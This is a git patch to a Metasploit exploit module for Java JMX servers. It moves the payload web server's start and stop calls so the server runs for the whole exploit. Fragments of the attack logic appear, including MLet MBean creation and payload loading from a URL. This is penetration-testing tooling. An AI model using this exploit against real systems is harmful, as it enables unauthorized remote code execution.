From 0c4604734ec12495a684acf4ec85907f9cab4689 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Hans-Martin=20M=C3=BCnch=20=28h0ng10=29?= Date: Sat, 12 Sep 2015 19:42:31 +0200 Subject: [PATCH] Webserver starts at the beginning, stops at the end --- modules/exploits/multi/misc/java_jmx_server.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b2d1ab2b25..08d8ff79de 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + vprint_status("Starting service...") + start_service + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" connect @@ -165,6 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote method: 'run' ) disconnect + vprint_status("Stopping service...") + stop_service end def is_rmi? @@ -242,9 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end def load_payload_from_url(conn_stub) - vprint_status("Starting service...") - start_service - vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") begin @@ -308,9 +310,6 @@ class Metasploit3 < Msf::Exploit::Remote rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") return false - ensure - vprint_status("Stopping service...") - stop_service end if res.nil?